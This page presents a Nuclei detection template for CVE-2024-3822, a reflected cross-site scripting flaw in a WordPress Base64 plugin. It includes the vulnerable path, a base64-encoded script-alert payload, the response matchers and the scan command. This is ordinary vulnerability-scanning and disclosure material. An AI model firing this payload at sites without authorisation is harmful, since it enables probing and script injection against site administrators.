Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting

ID: CVE-2024-3822

Severity: medium

Author: omranisecurity

Tags: cve,cve2024,wordpress,wp-plugin,wp,xss,base64-encoderdecoder

Description

The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

YAML Source

id: CVE-2024-3822

info:
  name: Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting
  author: omranisecurity
  severity: medium
  description: |
    The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  reference: |
    - https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3822
    - https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-3822
    cwe-id: CWE-79
    epss-score: 0.00043
    epss-percentile: 0.0866
  metadata:
    verified: true
    max-request: 1
    fofa-query: "wp-content/plugins/base64-encoderdecoder/"
  tags: cve,cve2024,wordpress,wp-plugin,wp,xss,base64-encoderdecoder

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4="

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "<p><script>alert(\"document.domain\")</script></p>")'
        condition: and
# digest: 4a0a004730450220030234925174a34b2b76482aef25603bd905e7e36588e09271b246e7be564e03022100f952bd5d24dd29d110775937591f4b8df63be50a905f12a1a850edb155118df4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3822.yaml"

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